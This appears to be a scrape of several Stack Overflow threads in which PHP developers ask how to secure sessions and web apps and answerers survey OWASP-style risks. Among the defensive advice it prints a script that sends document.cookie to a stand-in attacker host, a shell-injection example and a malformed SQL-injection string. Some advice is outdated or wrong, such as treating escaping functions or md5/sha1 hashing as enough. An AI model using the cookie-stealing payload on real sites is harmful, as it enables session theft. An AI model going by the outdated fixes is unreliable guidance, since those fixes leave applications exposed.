It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 10 years ago.
I've been reading a lot of articles on owasp.org and one of things that I remember most and couldn't understand well is securing PHP sessions.
I couldn't understand well how securing sessions goes and therefore I am asking here. What are the best way to secure sessions in PHP?
Side question: Are file inputs vulnerable by XSS?
This is the source for PHP sessions hijacking:
OWASP.org: PHP Security Cheat Sheet
What are the best way to secure sessions in PHP?
Security is nothing like let's say a bottle of milk you go buying in the shoppe. Reading customer reviews will probably tell you what the best milk is, however for Security this is a little different.
The customer reviews is what Owasp outlines. It tells you the general dynamics and implications to secure session handling.
As PHP sessions is only some kind of basic feature offered by PHP itself, there is not much to tell you what the best way is to secure these sessions, because it depends a lot on how you use that feature.
However one clear part of that best way to use PHP sessions, is to keep an eye on security reportings and reviews of PHP itself and the session feature in sepecific. Then take care you keep current to the version of PHP that offers the best way to secure sessions, which might be the latest stable version. Sometimes if flaws are reported, things are not entirely fixed in the next version, so take care.
Everything else not related to PHP specifically is undefined and Owasp can only offer a subset here.
So for security it is absolutely important that you first understand what is outlined in the Owasp documentation before you can start to apply this to (your) PHP code. E.g. by asking here, the best direction that can be given IMHO is that you learn harder to understand what is going on and what is meant in the Owasp docs.
Understanding how things work is key in security.
Here are some of the major issues to keep in mind:
Not validating user input
Suppose you have a web page that allows user to see the contents of a folder (for example your a hosting company and showing the user their files on the server)
Here is some code that might make it happen:
$directory = $_GET['directory'];
exec("ls $directory", $result);
An attacker can exploit this by passing in other commands in to the url string, such as:
ls -LR
Session Hijacking
Each session has a unique ID, if an attacker gets a hold of it they can (potentially) use it to obtain confidential information.
To protect against this have the user reauthenticate (with their passwords) before doing anything sensitive (for example, if the user wants to reset their password, force them to enter the old password first)
XSS (cross site scripting attack)
Whenever you have a site with user generated content (a good example of this is comments on a blog), there is a potential threat that an attacker will place javaScript in to his content (read: his comment) that could potentially harm all users that come to the page.
Here is an example:
<script>
document.location = 'http://www.hackingYou.com/stealYourData.php?' + document.cookie;
</script>
This code will allow the attackers website (hackingYou.com) to steal the cookie that you have for the website you are currently visiting.
One way to protect against this is to remove any HTML from any string being inputted using the following command:
strip_tags($input);
SQL Injection
(wouldn't be a decent answer without this one)
Suppose you have a web page that logs in users to a site. In order to log them in successfully you check for their record in a DB.
Here is how it might be coded:
$sql = "SELECT * FROM users WHERE username = $_GET['username'] and password = $_GET['password']";
An attacker can exploit this by entering in to the password field:
abcd OR WHERE 1 = 1
The resulting sql statement would look like this:
SELECT * FROM users WHERE username = hacker AND password = abcd OR WHERE 1 = 1;
This would spit out the full table of ALL usernames and passwords to the attacker.
To protect against this "sanitize" your input strings for SQL using the following command:
mysql_real_escape_string($input)
This is most of the basics, obviously one should always keep up to date by reading the latest security bulletins, such as:
Bug Track
PHP Security Consortium (PHP experts who focus on security)
OWASP
The best way to ensure security to all your envoirment is to learn a PHP web framework, which wil give you, ready-to-go, security level inputs.
Obviously , security, doesn't exist, it exist a better security and a worst security, what i suggest you is to not reinvent the wheel, so web frameworks are deeply fixed everyday, according to community bug/hack reports, and this , i think, is the biggest security level you can get!
Related
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I start to write php web application (static php) , I made every thing.
But,how should I check for common security vulnerabilities: SQL injection, XSS, CSRF etc in my web application ?
First of all, automated vulnerability scanners can not give a guarantee. So you can not trust their results. I will shortly explain what yo have to do in order to secure your PHP application.
1. Use PDO instead of Native MySQL Library.
In order to secure your application agains SQL Injection vulnerability which is one of most critical web application vulnerability, you have to use PDO. For instance,
Do NOT do this.
<?php
$cal = $_GET["calories"];
mysql_query('SELECT name, colour, calories
FROM fruit
WHERE calories < '.$cal);
?>
Do this.
<?php
$calories = $_GET['calcalories'];
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < :calories');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->execute();
?>
2. Encode each variable that you will print on client browser
This is the key of XSS prevention. You should use encoding method before echo/print variables to the browser! There is 3 kind of XSS vulnerability. First one is Reflected XSS, second one is Stored XSS and last one is Dom Based XSS. Please read following link to understand what is XSS and how can your secure your application agains XSS vulnerability. https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) .Try to explain three of them will take two or three pages! So i will skip this part.
3. Insecure Direct Object Reference
Depends on the web application, this vulnerability can be most dangerous one. Because this is not about the PHP or code syntax. This vulnerability appear because of application desing failure and code anatomy. For example;
www.gsmfirm.com/invoice/1337 -> It's your invoice for January!
www.gsmfirm.com/invoice/1338 -> It belongs to someone else!
Please read the following link. I'm sure you will understand what is the IDOR and what can it cause. http://avsecurity.in/2013/06/nokia-insecure-direct-object-reference/
4. PHP Object Injection Vulnerability
Short explanation, do not use serialize() function. Use json_encode instead of that. If you will have a look following link. You can understand clearly what is Object Injection vulnerabilities. https :// www.owasp.org/index.php/PHP_Object_Injection
5. CSRF
Cross Site Request Forgery is can be dangerous too. Basically you have to be sure about "Does this request was sent deliberately by the user?" In order to be sure that, you must generate unique key and store it in session for each user and you have to use it as hidden html input inside of html tags. Than you will check that value for each form request. "is it same with stored ?" if not, the request was not send by client with deliberately.
6. Broken Authentication and Session Management
Basically, there is two type of vulnerability. Session Fixation and Session Prediction .
In order to be secure against Session Fixation, you have to regenerate session key after successfully logged in. Also you have to use HTTP Header Cookie parameter to carry session key instead of GET parameter.
Session Prediction is weakness about session key generation algorithms. Use complex key generation method to generate unpredictable key. And please do not try to develop your own generation or encryption algorithms.
PS: I couldnt post more than 2 links because of reputation point. Sorry about that.
You can use Arachni Scanner. It's an open source tool having both web & cli interface.
I found a company that does it, but I haven't tried them:
http://lp.checkmarx.com/php-code-security
Here are some tips:
http://code.tutsplus.com/tutorials/5-helpful-tips-for-creating-secure-php-applications--net-2260
If there is user authentication then you should check that, current logged in user is not able to access any other data that is not related to him. Means current user has 3 entry from customers table then he should able to access only those 3 entries.
If you are using framework then they have implemented many security features. For example in Zend Framework Form Elements is able to add csrf in form. So, within given time form should be submitted and csrf key will be verified in back end automatically.
Most framework gives htmlescapers. So, by using that you can avoid xss at some good level. For static/core php code you should use htmlentities for avoiding extra unwanted characters.
I'm finishing up my first "real" PHP application and I am trying to make sure it is secure. I'm kind of afraid that since I'm not an "expert" PHP programmer that I might be missing something huge, so I would like to give you some information about my application and hopefully you can tell me whether or not that is the case. So here we go:
I'm using a CMS to handle user authentication, so I don't have to
worry about that.
After discovering PDO shortly after starting work
on my application, I ported all of my code over to using prepared
statements with PDO.
I am escaping all form and database data (even stuff I think is safe) which is being output with htmlentities().
My application does use a session variable and cookie variable, but the function of both is very unimportant.
I have designed my form processing functions in such a way that it doesn't matter if the form were somehow altered, or submitted from off-server (i.e. I always check the data submitted to ensure it's valid).
I have done my best to make all error messages and exception messages polite but very obscure.
I'm forcing pages with sensitive information (such as the login page) to be served over https.
When I first starting writing my application, I didn't know about prepared statements, which is kind of a huge deal. Have I missed anything else?
OWASP maintains a list of the Top 10 Most Critical Web Application Security Risks (warning, PDF download). This is from 2010, but I think it still applies, perhaps even moreso now.
Injection and XSS are the top two, but you should certainly be aware of the other 8. If you are using an existing CMS, many of these may already be considered, but the more popular the CMS the more you risk running into vulnerabilities because of black hats trying to find holes in it.
If you are not storing critical data like credit cards, order history, addresses, and even emails, then I wouldn't worry too much about your site being affected as long as you are taking the basic precautionary measures (and it sounds like you are).
If you are concerned about security issues, a good resource is the OWASP - Top 10 Application Security Risks
The most important thing to take care in web applications(specially PHPs') is Data Validation of all the inputs taken from the user which are further saved in your database.
For a secure application, all the transactions should be done on HTTPS. For a secure cookie management Secure and HTTPOnly cookie should be implemented.
Some more points I don't see mentioned yet. Most of these are not related to code - I am not sure if you only wished for things related to code, but I'll mention them anyway.
Backups (user data). should be self-evident
Version control. If you have a big bug, you want to have access to the previous version.
Audit trail, alarms and logging. If you do get into trouble, how will you find out? Are you able to track down what happened? if you know something is wrong but don't fully know what, are you able to diagnoze the issue?
Hosting. Where are you hosting? Do you have adequade bandwidth and monitoring? What happens if you get DOSed? Are you able to block out unwanted traffic?
Caching. Can you change it if needed?
There's always one thing left. Availability :) There are three aspects of security:
Confidentiality (Noone can read what they don't have access to)
Integrity (Noone can change any data what they should have to and you have to be able to detect if it happened even so)
Availability (The data, application whatever has to be available)
You pretty much did a nice job and took care of the first two (credentials, prepared statements, htmlentities...) but none of them will help against a DoS attack. You should be able to detect if someone slaps your site and ban the attackers ip from your server. Although this can be done in PHP (still much better to kick the attacker at the first line of php than let them initialize the framework, database connections etv.) it can be done mre effectively in lower layers (for example: nginx/apache, iptables, snort).
However what you're asking for that usually comes to the matter of risk management. In a real application you're not able to be prepared for all the possible attacks, edge cases etc. What you need to do is classify all the risks by the probability and the impact ( http://www.jiscinfonet.ac.uk/InfoKits/infokit-related-files/Resources/Images/risk-matrix ). With this you can focus on the most important (highest) risks first and probably you can completely ignore the lower bottom part.
SQL Injection and XSS are the most prominent Hacking methods.
You are covered from SQL Injections if you use prepared statements.
Also, if htmlentities() on everywhere you display HTML you should be safe.
It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 11 years ago.
Although my site is still far from done, I've started thinking about web security. This site will be extremely public and contain important information people assume is true, that I wouldn't want hijacked. It'd be a disaster is this site got hacked, so I started thinking of some ways to protect it, or fight back.
Everything has been made with dynamic html through PHP, except for error messages, which use javascript popup alerts triggered by PHP cookies. There are textbox forms and dropdown boxes, all encased with htmlentities to prevent code from being run.
So I started thinking, "what are the ways that my site's security could be compromised, what weapons of choice do hackers use?"
I know about changing the source code of the site with tools like firebug or chrome for themselves, but that shouldn't matter because I use PHP, and I'm more worried about what EVERYONE sees.
They can use javascript injections
They could submit code to execute to the forms
They could DDoS the site, which would crash it and to which I don't know of any defense. But I really don't think I'd be dealing with a entire faceless group of internet megaterrorists.
They could change the html of email submission forms to get my password sent to me (them).
They could bruteforce my password for the server/ftp, but I use strong passwords by using all types of characters on a US keyboard.
So what are the ways can I protect my site from being hacked? What are all the ways (or general tactics and categories) that hackers choose to destroy or exploit sites?
Are any of the things from the list of defense traps a good or possible idea??
First thing's first, security is a huge area, way too broad for a SO question, but I'll try to address one or two of the things you mentioned.
Firstly, I believe you're underestimating the ingenuity and danger of some of the attacks which applications are exposed to on the internet these days. The items you mention do cover a few of the more common and well known attacks but you can't simply explain how you're mitigating those few and be satisfied that your site will be safe. If you expect attention from hackers on your site (and even if you don't), you should be coding with security in mind from the very start. I'm not even going to try and go into detail on that statement here, as it's the subject of several books, suffice to say that the items you mentioned don't even begin to cover anything like the amount of attacks that are out there.
As for all the 'traps', clever as they are, I wouldn't bother. Most variations on the 'security by obscurity' idea are generally wasted effort - an attacker will generally have ways of finding the traps before they're tripped, or even avoiding them entirely. At best, you'd catch them once, then they simply use the same attack to get in again and second time they don't make the same mistake. All the difficulty of coding the traps, and having to go through annoying routines to log in as a legitamate user for no real gain in security.
Finally, I think you should focus less on brute forcing, and more on the attacks that are based on exploiting vulnerabilities in your actual code, database structure, server solution, etc. Sure, implement your idea that blocks logins for a while after x failed attempts, but in reality the correct security solution here is having passwords that would take a prohibitavely long time to brute force and making sure they aren't shared with anyone or, (heaven forbid) stored in plain text on the database.
Those are just a few thoughts, anyway. I'd recommend picking up a book on the subject, as it's far to wide an area to explain in an answer here, and I don't have the expertise to do so at any rate.
I am just wondering for the sake of knowledge if this login system is secure, because i had planned on using it as a learning tool. I don't want to use anything that will teach me the wrong way. Can anyone help?
https://github.com/ivannovak/jpmaster77-s-Login-System-
When skimming code quick I don't think you should use this code, because it could be compromised.
P.S: I also don't think you should be learning that stuff(if you want to learn openid specifications/libraries, but leave it to the security experts. You should use openid/facebook connect/etc. I use rpxnow.com with much pleasure.
Old codebase
first of the code base is old. Last commit is August 11, 2009. I would look at a loginsystem which is more maintained(newer). For example it does not use the newer/safer PDO to access your database. I also find the codebase a little bit messy. no MVC?
SSL
Not sure if this codebase enforces SSL. If not than your passwords will be transmitted in plain-text.
Mysql Injection
This code might be unsafe because of mysql injection =>
https://github.com/ivannovak/jpmaster77-s-Login-System-/blob/master/mail.php#L118
$q = "SELECT * FROM mail WHERE UserTo = '$user' ORDER BY SentDate DESC";
If session->username has been comprimised(have not looked at all references) than your system is unsafe. A decent(modern) system uses PDO.
No salt
I don't believe the system does use salt so with a Rainbow table all password can be discovered when your database is compromised. =>
https://github.com/ivannovak/jpmaster77-s-Login-System-/blob/master/include/session.php#L157
$result = $database->confirmUserPass($subuser, md5($subpass));
Other things you should consider
CSRF
XSS attacks
localhost?
Also this is line is strange(not unsafe) =>
https://github.com/ivannovak/jpmaster77-s-Login-System-/blob/master/include/mailer.php#L34
You can't reach localhost from the internet.
Some points you may want to consider:
1) Does it use md5 encryption or sha1 (sha1 is better).
2) Does it use salting or not?
3) Does it ensure that only https access is allowed? (ideally the http:// login/password page should redirect to https:// version).
4) How does forgot-password work? The password reset link should ideally be sent to registered email id instead of being accessible directly online. If there are some inbuilt security questions - are they tough enough? Are the security question answers themselves properly encrypted?
regards,
JP
Looking at your code it seems you are storing username and userid in 3 locations, session (quite ok, but prone to session hijacking depending on your server), and 2 cookies ( looks very wrong as the username is already half of the work done for compromising a system.
password are not salted, which makes password easier to guess.
username are check with the database before scrubbing (remember bobby table, xkcd)
don't ever trust addslash or any magic quote function use placeholders to transmit variables to query (always !!!!)
Having any modification to the user table outside admin purpose is bad (security wise because you cannot separate dbusers for the different purpose) (performance wise because I know that writing a table requires table or line locking if you are lucky )
perform your read and update query preferably with different users.
try not to use code where the comment tells you where is the cool part, any sane coder would not put this kind of stuff in their comment.
the database layer has one function to check username+userid , but the session include makes a direct query to check the username in the login function ?
my advice would be to use something else.
I'll assume that you really want to learn and not just use the code.
I fear that if you ask this question here, and someone answers yes or no, you will learn nothing. Just look at the code, ask yourself what is the code doing on every step. Search for common security issues on login systems online, then check if the code has some.
There is no such thing as "teach me the wrong way". If you find out, by your own means, that the code is bad, you learn something. If you find out that the code is good, also, you learn something.
If you assume that the code is good or bad without looking at it in depth, you learn nothing.
This question already has answers here:
Closed 12 years ago.
Possible Duplicate:
Where can I find a web-project “security checklist?”
i was just wondering when creating an php/mysql app, whats the main security issues a developer is got to consider, i know this could be a major broad topic, but i just wanted an overview of where to look, and while im wrting and devloping the app, what i need to be aware of thans!! :))
VERY broad topic indeed. Just to name the basics, which ideally everyone should be aware of:
Don't trust any user input. But this I mean sanitize all user input to prevent SQL injection
Escape all data being outputted on the page appropriately to prevent XSS vulnerabilities and cookie data.
Do not include files based on user input
Log all your errors appropriately. Ideally, in an error log.
Store passwords via a one way hash which incorporate a secure salt.
And read through Seven habits for writing secure PHP applications.
You can take a look at the OWASP Top 10, which is a top 10 of the most common flaw in web application. It converts the most common issue that you will come through.
Web version
PDF version
There's some very useful references to security checklists that you should consider in this previous response to the same question